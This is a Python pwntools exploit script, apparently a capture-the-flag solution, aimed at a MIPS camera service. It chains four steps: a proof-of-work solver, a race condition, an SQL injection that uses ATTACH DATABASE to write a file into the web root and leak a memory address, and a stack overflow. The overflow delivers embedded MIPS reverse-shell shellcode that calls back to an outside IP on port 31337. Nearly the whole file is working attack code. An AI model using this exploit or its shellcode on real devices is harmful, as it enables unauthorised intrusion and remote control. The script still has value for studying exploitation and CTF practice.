#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import hashlib
import struct
import time

import requests
from pwn import *


def proof_of_work():
    import itertools
    import string
    s = io.recvuntil('starting with ')
    prefix = io.recvuntil('\n')[:-1]
    log.info("pow:%s" % prefix)
    for i in itertools.product(string.ascii_letters + string.digits, repeat=5):
        i = ''.join(i)
        ha = hashlib.sha1()
        ha.update(prefix + str(i))
        if ord(ha.digest()[-1]) == 0 and ord(ha.digest()[-2]) == 0 \
        and ord(ha.digest()[-3]) == 0:
            log.info('solved:%s' % prefix + str(i))
            io.sendline(prefix + str(i))
            return
    assert 0


def gen_shellcode(rip):
    ip_split = rip.split('.')
    ip12 = chr(int(ip_split[0])) + chr(int(ip_split[1]))
    ip34 = chr(int(ip_split[2])) + chr(int(ip_split[3]))
    rshell31337 = "\xff\xff\x04(\xa6\x0f\x02$\x0c\t\t\x01\x11\x11\x04(\xa6\x0f\x02$\x0c\t\t\x01\xfd\xff\x0c$' \x80\x01\xa6\x0f\x02$\x0c\t\t\x01\xfd\xff\x0c$' \x80\x01'(\x80\x01\xff\xff\x06(W\x10\x02$\x0c\t\t\x01\xff\xffD0\xc9\x0f\x02$\x0c\t\t\x01\xc9\x0f\x02$\x0c\t\t\x01yi\x05<\x01\xff\xa54\x01\x01\xa5 \xf8\xff\xa5\xaf" + ip34 + "\x05<" + ip12 + "\xa54\xfc\xff\xa5\xaf\xf8\xff\xa5#\xef\xff\x0c$'0\x80\x01J\x10\x02$\x0c\t\t\x01bi\x0c<\xd0\xd0\x0f$'h\xe0\x01%`\x8d\x01\xec\xff\xac\xafsh\x0c<\x91\xd0\x0f$'h\xe0\x01%`\x8d\x01\xf0\xff\xac\xaf\xff\xff\x07(\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4#\xec\xff\xac#\xf8\xff\xac\xaf\xf8\xff\xa5#\xec\xff\xbd'\xff\xff\x06(\xab\x0f\x02$\x0c\t\t\x01"
    return rshell31337


def trigger_race(buf):
    for i in range(3):
        io.writeline('rec ' + buf)
    io.writeline('del ' + buf)
    for i in range(3):
        io.writeline('rec ' + buf)


def align4(s):
    if len(s) % 4 != 0:
        s = s.ljust(len(s) / 4 * 4 + 4, '-')
    return s


def random_str(randomlength=6):
    a = list(string.ascii_letters)
    random.shuffle(a)
    return ''.join(a[:randomlength])


def leak(db_name):
    url = 'http://%s/%s' % (ip, db_name)
    r = requests.get(url, stream=True)
    log.info("request:%s status:%d", url, r.status_code)
    if r.status_code == 200:
        b = r.raw.read()
        return b[-4:]
    return None


target = ['qemu-mipsel', '-g', '1234', './camera']
ip = '192.168.2.100'
rshell31337 = gen_shellcode('192.168.222.1')

# context.log_level = 'debug'

# io = process(argv=target)
# io = process('./camera')
io = remote(ip, 6667)
# io = process()

junk_len = 716
db_name = random_str()

proof_of_work()

io.recvuntil('====================================')
io.recvuntil('====================================')
io.writeline('help')
io.recvuntil('exit')
time.sleep(0.2)

# leak
p1 = "';ATTACH DATABASE x'2f'||'www'||x'2f'||'%s' AS lol1; CREATE TABLE lol1.pwn1 (dz text);INSERT INTO lol1.pwn1 (dz) VALUES ('t');UPDATE lol1.pwn1 set dz='" % db_name
p1 = p1.ljust(512, 'a')
p1 = '\' union select "%s"--' % (p1)
for i in range(10):
    # io.writeline('exp ' + p1)
    trigger_race(p1)
    time.sleep(2)
    g_errmsg = leak(db_name)
    if g_errmsg:
        assert len(g_errmsg) == 4
        g_errmsg = struct.unpack('<I', g_errmsg)[0]
        break

assert g_errmsg

g_cmd = g_errmsg - 1024
log.info("leak g_errmsg:0x%08x" % g_errmsg)

# sof
p2 = "' union select replace(substr(quote(zeroblob(%d)),3,%d),'0','a')||'1234'||'%s'--" % (
    (junk_len + 1) / 2, junk_len, p32(0xdeadbeef))

p2 = align4(p2)
retaddr = g_cmd + 4 + len(p2)
retaddr = p32(retaddr).replace('\x00', '')
p2 = p2.replace(p32(0xdeadbeef), retaddr)
p2 = align4(p2)
p2 = p2 + rshell31337

# io.writeline('exp ' + p1)
for i in range(10):
    trigger_race(p2)
    time.sleep(1)

io.interactive()
